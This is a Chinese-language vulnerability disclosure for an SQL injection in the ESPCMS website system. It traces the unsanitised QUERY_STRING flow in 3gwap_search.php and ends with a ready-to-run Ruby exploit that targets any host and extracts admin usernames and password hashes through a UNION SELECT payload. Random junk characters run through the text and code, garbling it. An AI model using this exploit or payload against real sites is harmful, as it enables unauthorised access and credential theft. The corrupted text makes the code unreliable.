0×0 漏洞概述0×1 漏洞细节2 s* `9 D7 e6 d& A( z
0×2 PoC( b V9 f2 Q ~" N
' ^ f5 {( Q$ Z+ Q, S
2 b+ h/ I; S" K" M5 H
6 ?' f" c2 p7 k) ?- ^0 N0×0 漏洞概述
2 o0 c4 z- q; P
$ ]/ g3 \* v: X2 x( I易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。+ }" y: l) j* w. Q4 J% S
其在处理传入的参数时考虑不严谨导致SQL注入发生
1 o; M. F5 S- M9 n7 _6 w' {$ { Z+ L: f& ~$ k
6 [: {9 M. R' J7 \2 {$ V
0×1 漏洞细节
! c- m/ V Q: j' r% o/ P, Y1 A0 {* {' V
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
# A9 l' R2 e' Y O- s正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。" x4 t5 `8 x& M3 x |: Y
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
3 d1 B1 Y! j! P' l: A" f8 Y- n% @3 p0 u* ?, X( o
在/interface/3gwap_search.php文件的in_result函数中:% Q) G. E5 Y8 l- B( y$ c+ A C: ?1 ]
" ?8 M" N0 Q) L4 `7 O+ Z" R9 K: q& }* k2 l2 v8 x( A2 z
% q, ]0 j6 p' {4 h* e5 n& H function in_result() {+ l* y) P1 \7 H& ?; _* l
... ... ... ... ... ... ... ... ...7 X% Z9 \. _! C1 f
$urlcode = $_SERVER[ 'QUERY_STRING '];8 n+ }: n# y& ?- p( O
parse_str(html_entity_decode($urlcode), $output);! I) h/ _& V$ R7 D+ X- I
) b& Y" e. E9 I& [; I
... ... ... ... ... ... ... ... ...$ Q. b+ Y$ P& `: c: V
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
+ X* j6 B, s5 r; q! d1 U) A* }* c7 g% H& T4 \
$db_table = db_prefix . 'model_att';' \/ N" ]- k2 i9 Q9 ]/ T s
. r3 ~* y2 E" J( X$ H; z5 f
foreach ($output['attr' ] as $key => $value) {7 a7 R1 j) _- P7 n% F
if ($value) {1 g. f- z1 M2 u3 z1 b
8 E4 r# | S( }; L$ P
$key = addslashes($key);
p" G+ r: i1 T( ]& U2 H' o ] $key = $this-> fun->inputcodetrim($key);; d8 R9 h& j1 I/ s9 e' r% m7 ?- \' l' P
$db_att_where = " WHERE isclass=1 AND attrname='$key'";* Y' L0 ^# W3 E' r# \8 t
$countnum = $this->db_numrows($db_table, $db_att_where);+ X2 b) k( |6 v+ u7 R8 i1 v3 x' I
if ($countnum > 0) {
: ?: R* u$ e$ P2 } $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;; a7 T- u& ]8 ~2 Y! r& F7 c, \
}. n3 X0 j- D! s1 A/ z! {: m
}. ?' E1 v3 w* T0 w, o
}
& w4 {% g& g7 p* T0 g6 w4 N }
( h$ y! b ?; p* Y4 y3 o if (!empty ($keyword) && empty($keyname)) {
: Z$ F$ u/ K5 `( L. k N+ v; V5 M: L $keyname = 'title';# B7 R# D5 j6 o8 l8 Y
$db_where.= " AND a.title like '%$keyword%'" ;8 r8 y( M, x4 w
} elseif (!empty ($keyword) && !empty($keyname)) {
1 h# [' R7 j- C: |2 T3 N $db_where.= " AND $keyname like '% $keyword%'";' u" p" J- r8 o" C' ^+ `
}
: s! P: L' C! P# p4 a6 }" I $pagemax = 15;) g# p2 ^/ H+ Y" O0 J* n
1 Q! @+ d! n8 r7 a# ?: H% k $pagesylte = 1;
! k8 d# Q" C5 e4 q( p6 {5 k F4 Z4 H$ C2 K5 A' n9 j: J" M
if ($countnum > 0) { _4 S: s5 H& {' D9 a
% f: @% B$ h9 r Q9 x+ a+ P $numpage = ceil($countnum / $pagemax);
" R0 J- b; K( u" `2 }% a8 \1 X% t. G } else {+ O: L; ?$ Q6 W; x
$numpage = 1;( S6 E4 N; ?( [$ H* ^% W$ A0 W: i' O
}
* n" g! N& i5 z7 C+ F6 T: Z3 X% s $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;) a3 S6 P' w6 X2 ^/ X5 E
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
8 Q) D2 D4 i2 R+ `- j; t$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
* |% q5 x! }! J" a ... ... ... ... ... ... ... ... ..." E5 v1 \0 h; N6 J: o9 \3 p
}& }) m; V" C0 l* D. L7 ^
# }4 P0 d0 S7 O5 E- G2 w" X
4 ^. ?! `& s8 Z' g8 m4 K7 q; a
0×2 PoC/ T1 i, H X; R4 z2 t, k g
. b4 \3 D% x1 [0 J
8 p) M: V; a! k" ^! g0 E: [* Z* N9 P
' y! R D. j" w5 r( y" |# urequire "net/http"
- b) L! y6 O* X+ V" p
; S! ]% {. Z( ?" @8 ^# q8 t* p7 q6 cdef request(method, url)2 g- h/ p8 c+ S
if method.eql?("get")$ n. q( y2 D& ? h5 [! p
uri = URI.parse(url)
6 z* O1 ?8 T: B# c http = Net::HTTP.new(uri.host, uri.port)
. A. q* X( m3 T1 E6 U# [. i response = http.request(Net::HTTP::Get.new(uri.request_uri))
- g G, i$ i& X return response: u6 @* z, c6 H( b
end
1 M7 r# H7 f, v9 ^7 M9 mend
6 H0 I" z7 p4 a, f& p& |; H# Y9 \
) y, c6 e2 H+ Y7 n4 xdoc =<<HERE& w+ D' G8 v0 _2 A% I
-------------------------------------------------------
8 k; o3 r% Z5 `, t# QEspcms Injection Exploit
. o, f q; {; M! J! WAuthor:ztz
9 t1 @! W+ a9 eBlog:http://ztz.fuzzexp.org/
, D7 ~* l' b2 T7 k1 l: b-------------------------------------------------------2 v' Z' g ?1 `" J
: p- D' ]) b& i9 c% cHERE
2 X0 u1 W( h$ e' Y1 J
( o; g3 |0 S; m3 S- s7 S) G# d% O1 dusage =<<HERE" |3 d0 C/ M5 M3 r. P+ a1 e4 B3 g
Usage: ruby #{$0} host port path) y5 t' Y; N, {# [6 b+ x
example: ruby #{$0} www.target.com 80 /
/ n, \" f9 B: M/ N BHERE O/ T1 l8 K J! C2 C
% o" d6 v/ |) l3 i6 i: R0 g$ [puts doc$ e1 n8 c$ k; W) C1 n( b
if ARGV.length < 3) d9 y( h- B/ y: d. O* [
puts usage
/ t& r, e+ p! C# Belse0 W; c7 G! z5 H9 w0 Q# i- l# {
$host = ARGV[0]) E5 V( E0 ^$ ?
$port = ARGV[1]6 J1 R" R6 E; D/ y" I" a
$path = ARGV[2]0 J7 z% {6 c- Y# z5 L
0 y5 s9 q$ x+ z8 m
puts "send request..."# S+ F6 h: y6 j
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&2 t7 D0 | f l( R: Y
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
' v! d3 o& W* k,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
5 o; b% Z& E& ~" G0 Q+ T( o,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"& M% v# L& Z" ?
response = request("get", url)
7 o0 u3 r7 X' ^4 M- k) V result = response.body.scan(/\w+&\w{32}/)
' C0 P7 E% ^' O- m& {) ~ puts result
: c1 d5 L* R' u7 b7 Uend+ E# I' W+ l- r- D9 I4 B- ~
* M. W. R; j/ m6 M5 Y
|